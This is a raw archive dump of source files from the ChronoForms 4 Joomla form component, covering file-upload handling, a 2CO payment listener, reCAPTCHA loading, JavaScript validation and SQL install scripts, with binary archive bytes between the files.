if(trim($this->params->get('array_fields', ''))){ $array_fields = explode(",", trim($this->params->get('array_fields', ''))); } foreach($files_array as $file_string){ if(strpos($file_string, ':') !== false){ $file_data = explode(':', trim($file_string)); $file_extensions = explode('-', $file_data[1]); //convert all extensions to lower case foreach($file_extensions as $k => $file_extension){ $file_extensions[$k] = strtolower($file_extension); } //get the posted file details $field_name = $file_data[0]; $file_post = JRequest::getVar($field_name, array('error' => 99999), 'files', 'array'); if(in_array($field_name, $array_fields) && !empty($file_post['name']) && ($file_post['name'] === array_values($file_post['name']))){ foreach($file_post['name'] as $k => $v){ $uploaded_file_data = $this->processUpload($form, array('name' => $file_post['name'][$k], 'tmp_name' => $file_post['tmp_name'][$k], 'error' => $file_post['error'][$k], 'size' => $file_post['size'][$k]), $file_data[0], $file_extensions); if(is_array($uploaded_file_data)){ $form->files[$field_name][] = $uploaded_file_data; $form->data[$field_name][] = $uploaded_file_data['name']; }elseif($uploaded_file_data === false){ return false; } } }else{ $uploaded_file_data = $this->processUpload($form, $file_post, $file_data[0], $file_extensions); if(is_array($uploaded_file_data)){ $form->files[$field_name] = $uploaded_file_data; $form->data[$field_name] = $uploaded_file_data['name']; }elseif($uploaded_file_data === false){ return false; } } } } //add the data key if(!isset($form->data['_PLUGINS_']['upload_files'])){ $form->data['_PLUGINS_']['upload_files'] = array(); } $form->data['_PLUGINS_']['upload_files'] = array_merge($form->data['_PLUGINS_']['upload_files'], $form->files); } } function processUpload($form, $file_post = array(), $field_name, $file_extensions){ //check errors if(isset($file_post['error']) && !empty($file_post['error'])){ if($file_post['error'] == 99999){ //the file field type is not present in the posted data //continue; return; }else if($file_post['error'] == 4 && isset($file_post['name']) && empty($file_post['name']) && isset($file_post['size']) && ($file_post['size'] == 0)){ //No file has been selected //continue; return; } $form->debug[] = 'PHP returned this error for file upload by : '.$field_name.', PHP error is: '.$file_post['error']; $form->validation_errors[$field_name] = $file_post['error']; $this->events['fail'] = 1; return false; }else{ $form->debug[] = 'Upload routine started for file upload by : '.$field_name; } if((bool)$this->params->get('safe_file_name', 1) === true){ $file_name = JFile::makeSafe($file_post['name']); }else{ $file_name = utf8_decode($file_post['name']); } $real_file_name = $file_name; $file_tmp_name = $file_post['tmp_name']; $file_info = pathinfo($file_name); //mask the file name if(strlen($this->params->get('forced_file_name', '')) > 0){ $file_name = str_replace('FILE_NAME', $file_name, $this->params->get('forced_file_name', '')); }else{ $file_name = date('YmdHis').'_'.$file_name; } //check the file size if($file_tmp_name){ //check max size if(($file_post["size"] / 1024) > (int)$this->params->get('max_size', 100)){ $form->debug[] = 'File : '.$field_name.' size is over the max limit.'; $form->validation_errors[$field_name] = $this->params->get('max_error', 'Sorry, Your uploaded file size ('.($file_post["size"] / 1024).' KB) exceeds the allowed limit.'); $this->events['fail'] = 1; return false; }else if(($file_post["size"] / 1024) < (int)$this->params->get('min_size', 0)){ $form->debug[] = 'File : '.$field_name.' size is less than the minimum limit.'; $form->validation_errors[$field_name] = $this->params->get('min_error', 'Sorry, Your uploaded file size ('.($file_post["size"] / 1024).' KB) is less than the minimum limit.'); $this->events['fail'] = 1; return false; }else if(!in_array(strtolower($file_info['extension']), $file_extensions)){ $form->debug[] = 'File : '.$field_name.' extension is not allowed.'; $form->validation_errors[$field_name] = $this->params->get('type_error', 'Sorry, Your uploaded file type is not allowed.'); $this->events['fail'] = 1; return false; }else{ //$this->upload_path = $this->params->get('upload_path', JPATH_SITE.DS.'components'.DS.'com_chronoforms'.DS.'uploads'.DS.$form->form_details->name.DS); $uploaded_file = JFile::upload($file_tmp_name, $this->upload_path.$file_name); if($uploaded_file){ if((bool)$this->params->get('zip_file', 0) === true){ $zipped = new ZipArchive(); if($zipped->open($this->upload_path.$file_name.'.zip', ZIPARCHIVE::CREATE) !== true){ $form->debug[] = "Couldn't compress the uploaded file."; }else{ $zipped->addFile($this->upload_path.$file_name, $file_name); $zipped->close(); if((bool)$this->params->get('zip_delete_file', 0) === true){ unlink($this->upload_path.$file_name); $file_name = $file_name.'.zip'; } } } $uploaded_file_data = array(); $uploaded_file_data = array('name' => $file_name, 'original_name' => $real_file_name, 'path' => $this->upload_path.$file_name, 'size' => $file_post["size"]); //Try to generate an auto file link $site_link = JURI::Base(); if(substr($site_link, -1) == "/"){ $site_link = substr_replace($site_link, '', -1); } $uploaded_file_data['link'] = str_replace(array(JPATH_SITE, DS), array($site_link, "/"), $this->upload_path.$file_name); //$form->data[$field_name] = $file_name; $form->debug[] = $this->upload_path.$file_name.' has been uploaded successfully.'; $this->events['success'] = 1; return $uploaded_file_data; }else{ $form->debug[] = $this->upload_path.$file_name.' could not be uploaded!!'; $this->events['fail'] = 1; return false; } } } } function load($clear){ if($clear){ $action_params = array( 'files' => '', 'array_fields' => '', 'upload_path' => '', 'forced_file_name' => '', 'max_size' => '100', 'min_size' => '0', 'enabled' => 1, 'safe_file_name' => 1, 'zip_file' => 0, 'zip_delete_file' => 0, 'max_error' => 'Sorry, Your uploaded file size exceeds the allowed limit.', 'min_error' => 'Sorry, Your uploaded file size is less than the minimum limit.', 'type_error' => 'Sorry, Your uploaded file type is not allowed.', ); } return array('action_params' => $action_params); } } ?>PKs>\ZK:com_chronoforms/form_actions/upload_files/upload_files.ctpnuW+A
      Upload Files
      Header(array('settings' => 'Settings', 'advanced' => 'Advanced', 'help' => 'Help'), 'upload_files_config_{n}'); ?> tabStart('settings'); ?> input('action_upload_files_{n}_enabled_config', array('type' => 'select', 'label' => 'Enabled', 'options' => array(0 => 'No', 1 => 'Yes'))); ?> input('action_upload_files_{n}_files_config', array('type' => 'text', 'label' => "Fields Configuration", 'class' => 'big_input', 'value' => '', 'smalldesc' => 'Config string, e.g: field1:jpg-png-gif,field2:zip-rar,field3:doc-docx-pdf')); ?> input('action_upload_files_{n}_upload_path_config', array('type' => 'text', 'label' => "Upload Path", 'class' => 'big_input', 'smalldesc' => 'The files upload path, if left empty, files will be uploaded under this path:
      JOOMLA_PATH/components/com_chronoforms/uploads/FORM_NAME/
      You can use "JOOMLA_PATH" in the path, it will be replaced by the website path in runtime.')); ?> input('action_upload_files_{n}_max_size_config', array('type' => 'text', 'label' => "Max Size in KB", 'class' => 'medium_input', 'value' => '')); ?> input('action_upload_files_{n}_min_size_config', array('type' => 'text', 'label' => "Min Size in KB", 'class' => 'medium_input', 'value' => '')); ?> input('action_upload_files_{n}_max_error_config', array('type' => 'text', 'label' => "Max Size Error Message", 'class' => 'medium_input', 'value' => '')); ?> input('action_upload_files_{n}_min_error_config', array('type' => 'text', 'label' => "Min Size Error Message", 'class' => 'medium_input', 'value' => '')); ?> input('action_upload_files_{n}_type_error_config', array('type' => 'text', 'label' => "File type Error Message", 'class' => 'medium_input', 'value' => '')); ?> input('action_upload_files_{n}_safe_file_name_config', array('type' => 'select', 'label' => 'Safe File name', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'This will remove any special characters from the file name.')); ?> tabEnd(); ?> tabStart('advanced'); ?> input('action_upload_files_{n}_array_fields_config', array('type' => 'text', 'label' => "Array Fields", 'class' => 'medium_input', 'value' => '', 'smalldesc' => 'Fields names of type array []')); ?> input('action_upload_files_{n}_zip_file_config', array('type' => 'select', 'label' => 'Compress file', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Would you like to compress the uploaded file ? only .zip compression is supported and this option requires PHP 5.2 or later')); ?> input('action_upload_files_{n}_zip_delete_file_config', array('type' => 'select', 'label' => 'Delete original', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Delete original file after compression ?')); ?> tabEnd(); ?> tabStart('help'); ?>

      • All configured fields share the same max and minimux size check, if you have different sizes then add another "Files upload" action.
      • Files data will be stored after processing under the $form->files AND $form->data['_PLUGINS_']['upload_files'].
      • You can add a "Custom code" action after this one and use this code to check/user the response data stored : print_r2($form->data['_PLUGINS_']['upload_files']);

      tabEnd(); ?>
      PKs>\ 4com_chronoforms/form_actions/upload_files/index.htmlnuW+A PKs>\)3com_chronoforms/form_actions/upload_files/.htaccessnuW+A Order allow,deny Deny from all PKs>\4com_chronoforms/form_actions/2co_listener/index.htmlnuW+APKs>\xZ*M M :com_chronoforms/form_actions/2co_listener/2co_listener.ctpnuW+A
      2CO Listener
      Header(array('settings' => 'Settings', 'help' => 'Help'), '2co_listener_config_{n}'); ?> tabStart('settings'); ?> input('action_2co_listener_{n}_sid_config', array('type' => 'text', 'label' => "Vendor/Seller ID", 'class' => 'medium_input', 'smalldesc' => 'Enter your 2CO Vendor ID here')); ?> input('action_2co_listener_{n}_secret_config', array('type' => 'text', 'label' => "Secret Word", 'class' => 'medium_input', 'smalldesc' => 'The secret word choosen by the vendor in their 2CO account, used to verify that the response is coming from 2CO')); ?> tabEnd(); ?> tabStart('help'); ?>

      • This plugin will process the INS response coming from the 2CO server, you must be a registered 2CO vendor in order to be able to use this one.
      • enter your Vendor id and the secret word choosen by the vendor at the 2CO account area.
      • All the data returned will be stored in the $form->data array
      • For more documentation about the 2CO parameters, please search the 2CO website for "INS".

      tabEnd(); ?>
      PKs>\9QQ:com_chronoforms/form_actions/2co_listener/2co_listener.phpnuW+A 'payments', 'title' => 'Payment Gateways/Processors'); var $events = array('hack' => 0, 'new_order' => 0, 'fraud_status' => 0, 'refund' => 0, 'other' => 0); var $details = array('title' => '2CO Listener', 'tooltip' => 'Get the response from the 2CO payment processor.'); function run($form, $actiondata){ $params = new JParameter($actiondata->params); $mainframe = JFactory::getApplication(); $vendorid = $params->get('sid'); $secretword = $params->get('secret'); $md5hash = strtoupper(md5($form->data['sale_id'].$vendorid.$form->data['invoice_id'].$secretword)); //if the hash is ok if($md5hash == $form->data['md5_hash']){ //switch messages types switch($form->data['message_type']){ case 'ORDER_CREATED': $this->events['new_order'] = 1; break; case 'FRAUD_STATUS_CHANGED': $this->events['fraud_status'] = 1; break; case 'REFUND_ISSUED': $this->events['refund'] = 1; break; default: $this->events['other'] = 1; break; } }else{ //$this->events['hack'] = 1; } } function load($clear){ if($clear){ $action_params = array( 'sid' => '', 'secret' => '' ); } return array('action_params' => $action_params); } } ?>PKs>\)3com_chronoforms/form_actions/2co_listener/.htaccessnuW+A Order allow,deny Deny from all PKs>\)5com_chronoforms/form_actions/load_recaptcha/.htaccessnuW+A Order allow,deny Deny from all PKs>\> )Gcom_chronoforms/form_actions/load_recaptcha/cfaction_load_recaptcha.phpnuW+APKs>\zۮQQ>com_chronoforms/form_actions/load_recaptcha/load_recaptcha.phpnuW+A 'anti_spam', 'title' => 'Anti SPAM'); var $details = array('title' => 'Load Recaptcha', 'tooltip' => 'Renders the ReCaptcha display, you need the "{ReCaptcha}" string in your form code, possibly using a "Custom Element".'); function run($form, $actiondata) { $mainframe = JFactory::getApplication(); $params = new JParameter($actiondata->params); if(!defined('RECAPTCHA_API_SERVER')){ define('RECAPTCHA_API_SERVER', $params->get('api_server')); } if(!defined('RECAPTCHA_API_SECURE_SERVER')){ define('RECAPTCHA_API_SECURE_SERVER', $params->get('api_secure_server')); } $recaptcha_load = "
      ".$this->recaptcha_get_html($params->get('public_key'))."
      "; $script = " var RecaptchaOptions = { theme : '".$params->get('theme', 'red')."', lang : '".$params->get('lang', 'en')."' }; "; $doc = JFactory::getDocument(); $doc->addScriptDeclaration($script); //add CSS fix to the recaptcha input field $doc->addStyleDeclaration('label.recaptcha_input_area_text{line-height: 12px !important;}'); //replace the string $form->form_details->content = str_replace('{ReCaptcha}', $recaptcha_load, $form->form_details->content); } /** * Gets the challenge HTML (javascript and non-javascript version). * This is called from the browser, and the resulting reCAPTCHA HTML widget * is embedded within the HTML form it was called from. * @param string $pubkey A public key for reCAPTCHA * @param string $error The error given by reCAPTCHA (optional, default is null) * @param boolean $use_ssl Should the request be made over ssl? (optional, default is false) * @return string - The HTML to be embedded in the user's form. */ function recaptcha_get_html($pubkey, $error = null, $use_ssl = false) { if ( $pubkey == null || $pubkey == '' ) { die ("To use reCAPTCHA you must get an API key from https://www.google.com/recaptcha/admin/create"); } if ( $use_ssl ) { $server = RECAPTCHA_API_SECURE_SERVER; } else { $server = RECAPTCHA_API_SERVER; } $errorpart = ""; if ( $error ) { $errorpart = "&error=" . $error; } return ' '; } function load($clear) { if ( $clear ) { $action_params = array( 'public_key' => '6LfNoAUAAAAAAKi8QZmjv-QHOvlGtyh509SG3FzG', 'ssl_server' => '0', 'theme' => 'red', 'lang' => 'en', 'api_server' => 'http://www.google.com/recaptcha/api', 'api_secure_server' => 'https://www.google.com/recaptcha/api' ); } return array('action_params' => $action_params); } } ?>PKs>\ 6com_chronoforms/form_actions/load_recaptcha/index.htmlnuW+A PKs>\ Ǒ >com_chronoforms/form_actions/load_recaptcha/load_recaptcha.ctpnuW+A
      Load ReCaptcha
      Header(array('settings' => 'Settings', 'advanced' => 'Advanced'), 'load_recaptcha_config_{n}'); ?> tabStart('settings'); ?> input('action_load_recaptcha_{n}_theme_config', array( 'type' => 'select', 'label' => 'Theme', 'options' => array( 'clean' => 'Clean', 'red' => 'Red', 'white' => 'White', 'blackglass' => 'Blackglass', 'custom' => 'Custom' ) ) ); ?> input('action_load_recaptcha_{n}_lang_config', array( 'type' => 'select', 'label' => 'Language', 'options' => array( 'en' => 'English', 'nt' => 'Dutch', 'fr' => 'French', 'de' => 'German', 'pt' => 'Portuguese', 'ru' => 'Russian', 'es' => 'Spanish', 'tr' => 'Turkish' ) ) ); ?> input('action_load_recaptcha_{n}_public_key_config', array('type' => 'text', 'label' => "ReCaptcha public key", 'class' => 'big_input', 'value' => '')); ?> tabEnd(); ?> tabStart('advanced'); ?> input('action_load_recaptcha_{n}_api_server_config', array('type' => 'text', 'label' => "ReCaptcha server", 'class' => 'big_input', 'value' => '')); ?> input('action_load_recaptcha_{n}_api_secure_server_config', array('type' => 'text', 'label' => "ReCaptcha secure server", 'class' => 'big_input', 'value' => '')); ?> tabEnd(); ?>
      PKs>\)Hcom_chronoforms/form_actions/auto_javascript_validation/assets/.htaccessnuW+A Order allow,deny Deny from all PKs>\/ǟ\com_chronoforms/form_actions/auto_javascript_validation/assets/auto_javascript_validation.jsnuW+Avar AutoJavascriptValidation = new Class({ initialize: function(form_name, rules) { this.run(form_name, rules); }, run: function(form_name, rules) { var check_group = 1; for(rule in rules){ rules[rule].each(function(field){ var k = 0; if($chk($$("input[name='"+field+"']")[k]) && $$("input[name='"+field+"']")[k].get('type') == 'hidden'){ k = 1; } if($chk($$("input[name='"+field+"']")[k])){ $$("input[name='"+field+"']")[k].addClass("validate['"+rule+"']"); } if($chk($$("select[name='"+field+"']")[k])){ $$("select[name='"+field+"']")[k].addClass("validate['"+rule+"']"); } if($chk($$("textarea[name='"+field+"']")[k])){ $$("textarea[name='"+field+"']")[k].addClass("validate['"+rule+"']"); } if($chk($$("input[name='"+field+"[]']")[0])){ $$("input[name='"+field+"[]']").each(function(check){ check.addClass("validate['group["+check_group+"]']"); }); check_group = check_group + 1; } }); }; } });PKs>\Icom_chronoforms/form_actions/auto_javascript_validation/assets/index.htmlnuW+APKs>\#  Vcom_chronoforms/form_actions/auto_javascript_validation/auto_javascript_validation.ctpnuW+A
      Auto JavaScript Validation
      Header(array('fields' => 'Fields', 'help' => 'Help'), 'auto_javascript_validation_config_{n}'); ?> tabStart('fields'); ?> input('action_auto_javascript_validation_{n}_required_config', array('type' => 'text', 'label' => "Required", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of required fields names, these fields should exist in the data array in order to pass this check.")); ?> input('action_auto_javascript_validation_{n}_alpha_config', array('type' => 'text', 'label' => "Alpha", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of fields names which should only contain an alpha value.")); ?> input('action_auto_javascript_validation_{n}_alphanum_config', array('type' => 'text', 'label' => "Alpha Numeric", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of fields names which should only contain an alpha numeric value.")); ?> input('action_auto_javascript_validation_{n}_digit_config', array('type' => 'text', 'label' => "Digit", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of fields names which should only contain a digit value.")); ?> input('action_auto_javascript_validation_{n}_nodigit_config', array('type' => 'text', 'label' => "No Digit", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of fields names which should only contain a non digit value.")); ?> input('action_auto_javascript_validation_{n}_number_config', array('type' => 'text', 'label' => "Number", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of fields names which should only contain a number value.")); ?> input('action_auto_javascript_validation_{n}_email_config', array('type' => 'text', 'label' => "Email", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of fields names which should only contain an email value.")); ?> input('action_auto_javascript_validation_{n}_phone_config', array('type' => 'text', 'label' => "Phone", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of fields names which should only contain a phone value.")); ?> input('action_auto_javascript_validation_{n}_phone_inter_config', array('type' => 'text', 'label' => "International Phone", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of fields names which should only contain an international phone value.")); ?> input('action_auto_javascript_validation_{n}_url_config', array('type' => 'text', 'label' => "URL", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of fields names which should only contain URLs.")); ?> input('action_auto_javascript_validation_{n}_image_config', array('type' => 'text', 'label' => "Image", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of fields names which should only contain images (jpg, jpeg, png, gif, bmp).")); ?> tabEnd(); ?> tabStart('help'); ?>

      • Enter the fields names you want to check in the text field for the rule you want them to be checked against.

      tabEnd(); ?>
      PKs>\Bcom_chronoforms/form_actions/auto_javascript_validation/index.htmlnuW+APKs>\QfGVcom_chronoforms/form_actions/auto_javascript_validation/auto_javascript_validation.phpnuW+A '1_validation', 'title' => 'Validation'); var $details = array('title' => 'Auto JavaScript Validation', 'tooltip' => 'Auto validate specific fields, useful only when your form has custom code.'); function run($form, $actiondata){ } function load($clear){ if($clear){ $action_params = array( 'required' => '', 'alpha' => '', 'alphanum' => '', 'digit' => '', 'nodigit' => '', 'number' => '', 'email' => '', 'phone' => '', 'phone_inter' => '', 'url' => '', 'image' => '' ); } return array('action_params' => $action_params); } } ?>PKs>\Y  _com_chronoforms/form_actions/auto_javascript_validation/cfaction_auto_javascript_validation.phpnuW+Aparams); $output = ''; $mainframe = JFactory::getApplication(); $document = JFactory::getDocument(); JHTML::_('behavior.mootools'); $uri = JFactory::getURI(); $document->addScript($uri->root().'administrator/components/com_chronoforms/form_actions/auto_javascript_validation/assets/auto_javascript_validation.js'); $rules = array('required', 'alpha', 'alphanum', 'digit', 'nodigit', 'number', 'email', 'phone', 'phone_inter', 'url', 'image'); ob_start(); ?> window.addEvent('domready', function() { get($rule, ''))){ $fields_list = explode(',', trim($params->get($rule, ''))); } foreach($fields_list as $k => $field){ $fields_list[$k] = "'".$field."'"; } $n_fields_list = implode(',', $fields_list); $object_list[] = "'".$rule."': [".$n_fields_list."]"; endforeach; ?> new AutoJavascriptValidation('form_name; ?>', ); }); form_params->get('dynamic_files', 0) === false){ $document->addScriptDeclaration("//"); }else{ //load the action class $form->loadActionHelper('load_js'); $CfactionLoadJsHelper = new CfactionLoadJsHelper(); $JSactiondata = new stdClass(); $JSactiondata->content1 = $script; $JSParams = new JParameter(''); $JSParams->set('dynamic_file', $form->form_params->get('dynamic_files', 0)); $JSactiondata->params = $JSParams->toString(); $CfactionLoadJsHelper->load($form, $JSactiondata); } //load validation files $form->loadActionHelper('show_html'); $CfactionShowHtmlHelper = new CfactionShowHtmlHelper(); $CfactionShowHtmlHelper->_loadValidationScripts($form); } } ?>PKs>\)Acom_chronoforms/form_actions/auto_javascript_validation/.htaccessnuW+A Order allow,deny Deny from all PKs>\VIǫ_com_chronoforms/form_actions/auto_javascript_validation/cfaction_auto_javascript_validation.ctpnuW+AloadAction($form, $actiondata); ?>PKs>\)&com_chronoforms/form_widgets/.htaccessnuW+A Order allow,deny Deny from all PKs>\)3com_chronoforms/form_widgets/multi_upload/.htaccessnuW+A Order allow,deny Deny from all PKs>\4com_chronoforms/form_widgets/multi_upload/index.htmlnuW+APKs>\QXX@com_chronoforms/form_widgets/multi_upload/input_multi_upload.phpnuW+A 'Attachments', 'input_name' => 'attachments_{n}[]', 'hide_label' => '0', 'label_over' => '0', 'validations' => '', 'instructions' => '', 'tooltip' => '', 'container_id' => 0, 'data_path' => '', 'data_path_name' => '', 'data_path_original_name' => '', 'data_path_id' => '', 'limit' => 3, ); } return array('element_params' => $element_params); } } ?>PKs>\):com_chronoforms/form_widgets/multi_upload/images/.htaccessnuW+A Order allow,deny Deny from all PKs>\ʈ;com_chronoforms/form_widgets/multi_upload/images/delete.pngnuW+APNG  IHDRagAMA7tEXtSoftwareAdobe ImageReadyqe<fIDATxLS[hU\fKL7-}jmGQPXl41TzQZAeK%AJ*""HSR4kfomsN߸f 4a&(In08{UGe2m(@$p f魫_;!P8̓t7]lW* Ta td K&aYZ6 _}F@)纈RskPFHO!„>|g$FyX?~?Ig\>otf9>N끏Xn9SHtra }t ;PcyX ~} J[lB4GxUi=U[} tc)~x(k#`t ՗qz[/@3EDX@lBzcN >Wo!i!Ux:c7@F#$ rV|x Ofi0v4PV SSpkA,8$T(Ak%Ƒ>{5*jƟ?tK^^+^$JnQ>a,߾|j5/pƹ2־TT3 W׋v>+,B A&;1إ ž;>|mwG{Z,K"~X>SDώ>ı,W`?Բl$I۲`9/|wEunyg C@:rJ7{{[QqWv, |)\;com_chronoforms/form_widgets/multi_upload/images/index.htmlnuW+APKs>\h  Acom_chronoforms/form_widgets/multi_upload/output_multi_upload.ctpnuW+AaddScript($uri->root().'administrator/components/com_chronoforms/form_widgets/multi_upload/multi_upload.js'); $clean_fldname = str_replace('[]', '', $params['input_name']); ?>
      files[$clean_fldname])){ $fields_data_list = $form->files[$clean_fldname]; $file_name_key = 'name'; $file_orig_name_key = 'original_name'; $file_id_key = 'file_id'; }else{ if(!empty($params['data_path']) && !is_null($form->get_array_value($form->data, explode('.', trim($params['data_path']))))){ $fields_data_list = $form->get_array_value($form->data, explode('.', trim($params['data_path']))); $file_name_key = !empty($params['data_path_name']) ? $params['data_path_name'] : ''; $file_orig_name_key = !empty($params['data_path_original_name']) ? $params['data_path_original_name'] : ''; $file_id_key = !empty($params['data_path_id']) ? $params['data_path_id'] : ''; } } //print_r2($form->data); foreach($fields_data_list as $k => $field_data): ?>
      PKs>\<9com_chronoforms/form_widgets/multi_upload/multi_upload.jsnuW+Avar MultiUpload = new Class({}); MultiUpload.addAttachment = function(source, name, limit, path){ if(parseInt(source.getParent().getFirst('.multi-upload-limit').get('value')) < limit){ var file = new Element('div', {'style':'float:left; clear:left;', 'html':' '}); file.inject(source.getParent().getPrevious('.multi-upload-attachments-wrapper')); source.getParent().getFirst('.multi-upload-limit').set('value', parseInt(source.getParent().getFirst('.multi-upload-limit').get('value')) + 1); } } MultiUpload.removeAttachment = function(source){ source.getParent().destroy(); } MultiUpload.fixLimit = function(source, ID){ if(source.checked == true){ $(ID).set('value', parseInt($(ID).get('value')) + 1); }else{ $(ID).set('value', parseInt($(ID).get('value')) - 1); } }PKs>\Multi Upload
      input('chronofield[{n}][input_multi_upload_{n}_label_text]', array('type' => 'hidden', 'id' => 'input_multi_upload_{n}_label_text', 'value' => $element_params['label_text'])); ?> input('chronofield[{n}][input_multi_upload_{n}_input_name]', array('type' => 'hidden', 'id' => 'input_multi_upload_{n}_input_name', 'value' => $element_params['input_name'])); ?> input('chronofield[{n}][input_multi_upload_{n}_limit]', array('type' => 'hidden', 'id' => 'input_multi_upload_{n}_limit', 'value' => $element_params['limit'])); ?> input('chronofield[{n}][input_multi_upload_{n}_label_over]', array('type' => 'hidden', 'id' => 'input_multi_upload_{n}_label_over', 'value' => $element_params['label_over'])); ?> input('chronofield[{n}][input_multi_upload_{n}_hide_label]', array('type' => 'hidden', 'id' => 'input_multi_upload_{n}_hide_label', 'value' => $element_params['hide_label'])); ?> input('chronofield[{n}][input_multi_upload_{n}_data_path]', array('type' => 'hidden', 'id' => 'input_multi_upload_{n}_data_path', 'value' => $element_params['data_path'])); ?> input('chronofield[{n}][input_multi_upload_{n}_data_path_name]', array('type' => 'hidden', 'id' => 'input_multi_upload_{n}_data_path_name', 'value' => $element_params['data_path_name'])); ?> input('chronofield[{n}][input_multi_upload_{n}_data_path_original_name]', array('type' => 'hidden', 'id' => 'input_multi_upload_{n}_data_path_original_name', 'value' => $element_params['data_path_original_name'])); ?> input('chronofield[{n}][input_multi_upload_{n}_data_path_id]', array('type' => 'hidden', 'id' => 'input_multi_upload_{n}_data_path_id', 'value' => $element_params['data_path_id'])); ?>
      Header(array('general' => 'General', 'republish' => 'Data Republish', 'other' => 'Other', 'validation' => 'Validation'), 'input_multi_upload_element_config_{n}'); ?> tabStart('general'); ?> input('input_multi_upload_{n}_label_text_config', array('type' => 'text', 'label' => 'Label Text', 'class' => 'small_input', 'value' => '')); ?> input('input_multi_upload_{n}_input_name_config', array('type' => 'text', 'label' => 'Field Name', 'class' => 'small_input', 'value' => '', 'smalldesc' => "Don't forget to add 2 square brackets [] after the field name to post array of files, e.g: attachments[]")); ?> input('input_multi_upload_{n}_limit_config', array('type' => 'text', 'label' => 'Limit', 'class' => 'small_input', 'value' => '')); ?> tabEnd(); ?> tabStart('republish'); ?> input('input_multi_upload_{n}_data_path_config', array('type' => 'text', 'label' => "Files Data Path", 'class' => 'medium_input', 'smalldesc' => 'The data array key under which the files data will be available in the form->data array.')); ?> input('input_multi_upload_{n}_data_path_name_config', array('type' => 'text', 'label' => "File Name", 'smalldesc' => 'The array key under which the file name is stored, leave empty if the names are under the data path directly.')); ?> input('input_multi_upload_{n}_data_path_original_name_config', array('type' => 'text', 'label' => "File Original Name", 'smalldesc' => 'The array key under which the file original name is stored.')); ?> input('input_multi_upload_{n}_data_path_id_config', array('type' => 'text', 'label' => "File ID", 'smalldesc' => 'The array key under which the file id is stored.')); ?> input('input_multi_upload_{n}_target_path_config', array('type' => 'text', 'label' => "Target Data Path", 'smalldesc' => 'The data array key under which the files data will be stored after submission.')); ?> tabEnd(); ?> tabStart('other'); ?> input('input_multi_upload_{n}_label_over_config', array('type' => 'checkbox', 'label' => 'Label Over', 'value' => '1', 'rule' => "bool")); ?> input('input_multi_upload_{n}_hide_label_config', array('type' => 'checkbox', 'label' => 'Hide Label', 'value' => '1', 'rule' => "bool")); ?> input('input_multi_upload_{n}_instructions_config', array('type' => 'textarea', 'label' => 'Instructions for users', 'rows' => 5, 'cols' => 50)); ?> input('input_multi_upload_{n}_tooltip_config', array('type' => 'textarea', 'label' => 'Tooltip', 'rows' => 5, 'cols' => 50)); ?> tabEnd(); ?> tabStart('validation'); ?> input('input_multi_upload_{n}_validations_config', array('type' => 'checkbox', 'label' => 'Required', 'class' => 'small_input', 'value' => 'required', 'rule' => "split", 'splitter' => ",")); ?> tabEnd(); ?>
      PKs>\'com_chronoforms/form_widgets/index.htmlnuW+APKs>\com_chronoforms/sql/index.htmlnuW+APKs>\)com_chronoforms/sql/.htaccessnuW+A Order allow,deny Deny from all PKs>\_~+com_chronoforms/sql/install.chronoforms.sqlnuW+ACREATE TABLE IF NOT EXISTS `#__chronoforms` ( `id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) NOT NULL, `form_type` tinyint(1) NOT NULL, `content` longtext NOT NULL, `wizardcode` longtext, `events_actions_map` longtext, `params` longtext NOT NULL, `published` tinyint(1) NOT NULL DEFAULT '1', `app` varchar(100) NOT NULL DEFAULT '', PRIMARY KEY (`id`) ) CHARACTER SET `utf8`; CREATE TABLE IF NOT EXISTS `#__chronoform_actions` ( `id` int(11) NOT NULL AUTO_INCREMENT, `chronoform_id` int(11) NOT NULL, `type` varchar(255) NOT NULL, `enabled` tinyint(1) NOT NULL, `params` longtext NOT NULL, `order` int(11) NOT NULL, `content1` longtext NOT NULL, PRIMARY KEY (`id`) ) CHARACTER SET `utf8`;PKs>\`TT-com_chronoforms/sql/uninstall.chronoforms.sqlnuW+ADROP TABLE IF EXISTS `#__chronoforms`; DROP TABLE IF EXISTS `#__chronoform_actions`;PKs>\FiEE'com_chronoforms/toolbar.chronoforms.phpnuW+APKs>\s com_chronoforms/chronoforms.xmlnuW+A ChronoForms 25.April.2013 Chronoman ChronoEngine.com 2013 webmaster@chronoengine.com www.chronoengine.com 4.0 GPL Create everytype of Forms with whatever features you like!! install.chronoforms.php uninstall.chronoforms.php chronoforms.php chronoforms.html.php chrono_verification.php default.ttf background.png index.html css uploads libraries js views sql/install.chronoforms.sql sql/uninstall.chronoforms.sql COM_CHRONOFORMS COM_CHRONOFORMS_FORMS_MANAGER COM_CHRONOFORMS_WIZARD COM_CHRONOFORMS_EASY_WIZARD COM_CHRONOFORMS_VALIDATE admin.chronoforms.php admin.chronoforms.html.php chronoforms.class.php controller.php toolbar.chronoforms.php toolbar.chronoforms.html.php install.chronoforms.sql uninstall.chronoforms.sql CF.png config.xml index.html css js sql tables views versions images helpers form_actions form_elements form_widgets language/en-GB.com_chronoforms.sys.ini language/en-GB.com_chronoforms.menu.ini language/en-GB.com_chronoforms.ini PKs>\C&**3com_chronoforms/versions/j1.6/admin.chronoforms.phpnuW+AsetQuery("SELECT * FROM #__extensions WHERE `element` = 'com_chronoforms' AND `type` = 'component'"); $result = $database->loadObject(); if(!empty($result)){ $params = new JParameter($result->params); return (bool)$params->get('licensevalid', 0); }else{ return false; } } public static function validatelicense(){ if(isset($_POST['instantcode'])){ ChronoFormsAdminVersion::validatelicensedata(); }else{ $database = JFactory::getDBO(); $query = "SELECT * FROM `#__extensions` WHERE `element` = 'com_chronoforms' AND `type` = 'component'"; $database->setQuery( $query ); $result = $database->loadObject(); $params = 